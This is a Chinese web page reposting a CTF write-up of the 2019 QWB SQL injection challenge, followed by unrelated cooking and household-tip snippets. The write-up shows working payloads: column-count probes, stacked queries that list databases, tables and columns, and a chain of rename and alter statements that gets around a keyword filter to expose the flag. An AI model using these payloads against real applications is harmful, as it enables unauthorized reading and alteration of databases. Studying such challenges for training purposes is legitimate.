首页
/
每日頭條
/
生活
/
sql注入漏洞原理與利用
sql注入漏洞原理與利用
更新时间:2026-09-17 02:09:38
[強網杯 2019] 随便注

每天學習網絡安全知識,本文記錄強網杯的一個SQL注入題。

sql注入漏洞原理與利用(黑客必會之SQL注入學習)1

使用單引号測試,發現頁面報錯,說明此處存在SQL注入漏洞。

sql注入漏洞原理與利用(黑客必會之SQL注入學習)2

1' 1''

sql注入漏洞原理與利用(黑客必會之SQL注入學習)3

既然此處存在漏洞,那麼我們就走正常流程測試下,如果不知道SQL注入正常流程的可以去看下我的sqllibs注入教程。

1.猜字段數

1' order by 3# 1' order by 2#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)4

sql注入漏洞原理與利用(黑客必會之SQL注入學習)5

使用第一個payload測試的時候發現頁面報錯,再使用第二個payload時發現頁面顯示正常,因此我們可以得知當前數據庫當前表存在2個字段。這時候嘗試union select進行聯合查詢。

2.使用聯合查詢

sql注入漏洞原理與利用(黑客必會之SQL注入學習)6

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

發現頁面提示過濾了許多關鍵的命令,看來需要一些騷操作了。

3.嘗試堆疊注入

1';show databases#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)7

發現成功爆出所有數據庫。使用show tables;試試看看能不能得到表名

-1';show tables#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)8

成功爆出當前數據庫的兩個表名;嘗試查詢表中的字段

0';show columns from `1919810931114514`;#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)9

發現有一個flag字段,接下來就是嘗試讀取flag。

4. 再查看words表的結構

0';desc words;#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)10

可以猜測我們提交查詢的窗口就是在這個表裡查詢數據的。

5. 那麼查詢語句很有可能是 : selsect id,data from words where id =

然後1919810931114514隻有一個flag字段這時候雖然有強大的正則過濾,但沒有過濾alert和rename關鍵字這時候我們就可以已下面的騷姿勢進行注入:1.将words表改名為word1或其它任意名字2.1919810931114514改名為words3.将新的word表插入一列,列名為id4.将flag列改名為data

1';rename table `words` to `word1`;rename table `1919810931114514` to `words`;alter table `words` add id int unsigned not Null auto_increment primary key; alert table `words` change `flag` `data` varchar(100);#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)11

成功拿到flag。

,
Comments
Welcome to tft每日頭條 comments! Please keep conversations courteous and on-topic. To fosterproductive and respectful conversations, you may see comments from our Community Managers.
Sign up to post
Sort by
Show More Comments
推荐阅读
麻糖怎麼做
麻糖怎麼做
1、将花生倒入密封袋,把它碾碎,倒入容器中,加入一把黑芝麻。2、将它攪勻,鍋中倒油,倒入100克白砂糖、100克冰糖。3、開中小火,翻炒至糖融化,熬煮至琥珀色,倒入黑芝麻、花生豆,快速翻炒均勻。4、倒在烘焙紙上,再蓋張烘焙紙,壓實擀平,整理成正方紙,待糖稍微變硬,切塊即可。
2026-09-17
雞刨豆腐的做法是什麼
雞刨豆腐的做法是什麼
1、準備食材:油20g,豆腐200g,鹽10g,蒜20g,蔥20g,雞精10g,花椒粉10g。2、将蔥和蒜切末,鍋中倒油,放入蔥,蒜爆香放入豆腐炒碎。3、然後加入鹽,雞精,花椒粉翻炒均勻即可。
2026-09-17
牆布髒了如何清潔
牆布髒了如何清潔
1、簡單灰塵清洗。牆布在使用的過程中,灰塵是最常見的物質,通常人們在清潔普通灰塵的時候,都習慣使用濕布直接進行擦拭,結果反而讓牆布的表面留下污點。其實正确清理牆布灰塵的做法是用吸塵器或雞毛撣子清潔。2、油漬清洗。如果不慎将油污或湯汁濺在牆面的話,可使用适量的清潔劑加水進行稀釋,之後再用稀釋後的水清潔...
2026-09-17
星星會眨眼睛的原因是什麼
星星會眨眼睛的原因是什麼
與地球的大氣層有關。地球的大氣層分五層,大氣層不是運動的,而是随着空氣的冷熱變化而動搖的。星星的光從宇宙離開地球,肉眼看見的時分,需穿過地球厚厚的大氣層,而大氣層是動搖的,在幾經折射後,星星的光才能看見。正由于這一動搖的大氣層,使得星星一閃一閃眨眼睛。星星之所以一閃一閃亮晶晶那可不是由于星星真的會眨...
2026-09-17
别墅欄杆有哪些風格
别墅欄杆有哪些風格
1、簡歐風格别墅欄杆:黑色的鐵藝以及镂空的造型和流暢的造型,都為我們呈現除了簡歐風格的韻味,正規欄杆的鐵藝噴漆都采用了環保漆,使用起來更加安全,簡單的鐵藝欄杆點綴着黃色的大理石外立面,使得整個别墅外表看起來不單調。2、古典風格别墅欄杆:柱子的樣式是古典風格的一大特點,别墅陽台欄杆使用了縮小版的柱子作...
2026-09-17
Copyright 2023-2026 - www.tftnews.com All Rights Reserved